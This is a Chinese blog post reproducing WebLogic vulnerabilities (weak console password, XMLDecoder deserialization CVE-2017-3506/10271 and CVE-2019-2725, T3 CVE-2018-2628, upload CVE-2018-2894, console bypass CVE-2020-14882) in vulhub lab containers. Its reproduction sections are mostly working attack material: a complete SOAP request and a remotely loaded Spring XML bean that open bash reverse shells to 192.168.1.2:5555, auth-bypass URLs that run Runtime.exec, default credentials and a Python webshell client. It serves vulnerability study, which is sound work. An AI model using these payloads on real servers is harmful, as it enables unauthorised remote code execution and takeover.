Drunkmars's Blog

weblogic漏洞大杂烩

字数统计: 3.3k阅读时长: 14 min
2021/08/04

本文首发于先知社区:https://xz.aliyun.com/t/9932

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

简介

WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

本文将对一些常见的weblogic漏洞进行漏洞分析及复现,漏洞环境基于vulhub搭建。

弱口令

漏洞原理

在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell

漏洞复现

进入weak_password的docker环境

image-20210720134944740

访问一下7001端口,这里出现404是正常的

image-20210720135124190

访问http://192.168.1.10:7001/console如下图所示

image-20210720135143786

这里注意一下不能使用bp抓包去爆破,错误密码5次之后就会自动锁定,这里使用weblogic/Oracle@123登陆后台

image-20210720135402082

登录后台后点击部署

image-20210720135649816

点击安装

image-20210720135803143

点击上传文件

image-20210720135836522

这里需要准备一个war包,这个war包里面存放的就是一个jsp的马,使用如下命令打包当前文件夹下的所有文件

1
jar -cvf aaa.war .

image-20210720160144434

然后上传aaa.war点击下一步

image-20210720140408672

一直Next即可

image-20210720140439375

image-20210720140451376

到这里点击完成

image-20210720140527953

可以看到这里aaa.war已经部署成功

image-20210720140544322

直接上冰蝎连接即可,这里aaa是我的war名,shell.jsp是打包在war里面的文件

image-20210720140727245

CVE-2017-3506

XMLDecoder反序列化漏洞(CVE-2017-3506)

漏洞原理

在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞

分析漏洞调用链

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

img

第43行,将localHeader1变量带入到readHeaderOld()方法中。localHeader1变量由第41行定义,其值为work:WorkContext 标签包裹的数据。

1
2
3
4
5
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<java>
...
</java>
</work:WorkContext>

img

跟进readHeaderOld()方法(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)

img

在106行,有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray())),创建了WorkContextXmlInputAdapter()对象(即对WorkContextXmlInputAdapter类进行了实例化),带入构造函数的参数即为传入的XML格式序列化数据。

跟进至WorkContextXmlInputAdapter类中(weblogic.wsee.workarea.WorkContextXmlInputAdapter )

img

第19行,此处通过XMLDecoder反序列化,输入内容可控,故漏洞产生。

漏洞复现

这里使用的weak_password环境weblogic的版本为10.3.6,也存在这个漏洞,所以继续使用这个docker

image-20210720134944740

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

image-20210720141006350

在当前页面抓包之后在标签之间分别写存放jsp的路径和要写入的shell

image-20210720141934703

然后直接冰蝎连接即可

image-20210720142020187

CVE-2017-10271

XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞原理

在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE,于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单,针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常。总之,这次的补丁基本上限定了不能生成java实例。

漏洞复现

进入CVE-2017-10271对应的docker环境

image-20210720142232060

访问http://192.168.1.10:7001/wls-wsat/CoordinatorPortType如下图所示则存在漏洞

image-20210720142359141

bp在当前页面抓包后使用bash命令反弹shell,nc开启端口即可

1
2
3
/bin/bash
-c
bash -i &gt;&amp; /dev/tcp/192.168.1.2/5555 0&gt;&amp;1

image-20210720142839556

CVE-2019-2725

wls-wsat反序列化漏洞(CVE-2019-2725)。攻击者可以发送精心构造的恶意HTTP请求,在未授权的情况下远程执行命令。

漏洞原理

漏洞触发点:bea_wls9_async_response.war、wsat.war

影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:

本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。

漏洞复现

访问以下目录中的一种,如下图所示则漏洞

1
2
3
4
5
6
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

image-20210720143003414

bp在当前页面抓包,使用bash命令反弹shell,nc开启端口监听即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
GET /_async/AsyncResponseService HTTP/1.1
Host: 192.168.1.10:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 782
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.1.2/5555 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

image-20210720144619751

CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行

同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

漏洞原理

在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

漏洞复现

进入CVE-2018-2628的docker环境

image-20210720144727177

这里先使用nmap扫描一下是否开启了WebLogic T3服务

1
nmap -n -v -p 7001,7002 192.168.1.10 --script=weblogic-t3-info

image-20210720145544130

这里使用K8Weblogic.exe直接写一个shell进去

image-20210720145505223

然后使用以下py获取一个交互型shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-

print r'''
https://github.com/jas502n/CVE-2018-2628
@author Jas502n
'''
import base64
import urllib
import requests
from urllib import *



def shell(url,cmd):
all_url = url + "?tom=" + base64.b64encode(cmd)
try:
result = requests.get(all_url)
if result.status_code == 200:
print result.content
except requests.ConnectionError,e:
print e


th = {"url":""}

while True:
if th.get("url") != "":
input_cmd = raw_input("cmd >>: ")
if input_cmd == "exit":
exit()
elif input_cmd == 'set':
url = raw_input("set shell :")
th['url'] = url
elif input_cmd == 'show url':
print th.get("url")
else:
shell(th.get("url"),input_cmd)
else:
url = raw_input("set shell :")
th["url"] = url

url这个位置就填之前exe上传shell的位置即可,拿到交互shell之后可以echo写一个冰蝎马或者powershell上线cs都可

image-20210720145815471

CVE-2018-2894

WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在

漏洞原理

在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource 类中存在importWsTestConfig方法

image-20210720191945576

跟进 RSdataHelper的convertFormDataMultiPart方法,接下来调用convertFormDataMultiPart方法,文件直接由字段 文件名拼接而成,没有任何限制。

ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:164

image-20210720192007187

漏洞复现

进入CVE-2018-2894的docker环境

image-20210720150938753

这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码

1
docker-compose logs | grep password

image-20210720151004568

使用得到的密码登入后台

image-20210720151054410

点击高级选项

image-20210720151120111

勾选启用web服务测试页

image-20210720151154638

保存即可进入开发环境

image-20210720151211326

开发环境下的测试页有两个,分别为config.dobegin.do

首先进入config.do文件进行设置,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

image-20210720151417021

点击添加后上传一个jsp

image-20210720151555549

提交之后点击F12审查元素得到jsp上传后的时间戳

image-20210720151656638

构造得到http://192.168.1.10:7001/ws_utc/css/config/keystore/1626765378314_shell.jsp,连接即可

image-20210720151852523

这里我们在对begin.do未授权访问进行利用。访问http://192.168.1.10:7001/ws_utc/begin.do,上传一个jsp

image-20210720152034800

点击提交,这里辉显示一个error不用管它,F12进入网络,然后筛选POST方法,得到一个jsp的路径

image-20210720152300172

构造得到http://192.168.1.10:7001/ws_utc/css/upload/RS_Upload_2021-07-20_07-21-28_111/import_file_name_shell.jsp,冰蝎连接即可

image-20210720152524363

CVE-2020-14882

漏洞原理

这个洞的利用过程十分精妙,说实话有点没太跟明白,这里就不详细写了,大致就是通过访问console.portal路径并且触发handle执行。有兴趣的小伙伴请移步:

https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4

漏洞复现

首先进入CVE-2020-14882的docker环境

image-20210720152859879

访问控制台如图所示

image-20210720152950646

这里直接可以构造

http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问即可进入后台,达到未授权访问的效果

但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell

image-20210720153023769

首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹

访问http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

得到如下界面,这里看起来没有利用成功

image-20210720153349195

我们进入docker查看发现文件夹已经创建成功了

1
2
3
docker ps

sudodocker exec -it b6a1b6c3e4d1 /bin/bash

image-20210720153340606

这里创建一个xml文件,还是使用bash命令得到反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
# reverse-bash.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.1.2/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

image-20210720153801794

nc开启监听端口,访问

http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.1.2:8000/test.xml")

即可得到反弹shell

image-20210720153911926

总结

weblogic的漏洞其实有很多,这里只是挑了一些比较常见的漏洞进行漏洞分析和复现,其实也有批量检测漏洞的软件,这里为了加深印象还是手动复现了一遍,这里漏洞分析这一块当然也是跟着大佬们的思路跟下去,这里对前辈们表示衷心的感谢,不足之处欢迎指出。

CATALOG
  1. 1. 简介
  2. 2. 弱口令
    1. 2.1. 漏洞原理
    2. 2.2. 漏洞复现
  3. 3. CVE-2017-3506
    1. 3.1. 漏洞原理
    2. 3.2. 漏洞复现
  4. 4. CVE-2017-10271
    1. 4.1. 漏洞原理
    2. 4.2. 漏洞复现
  5. 5. CVE-2019-2725
    1. 5.1. 漏洞原理
    2. 5.2. 漏洞复现
  6. 6. CVE-2018-2628
    1. 6.1. 漏洞原理
    2. 6.2. 漏洞复现
  7. 7. CVE-2018-2894
    1. 7.1. 漏洞原理
    2. 7.2. 漏洞复现
  8. 8. CVE-2020-14882
    1. 8.1. 漏洞原理
    2. 8.2. 漏洞复现
  9. 9. 总结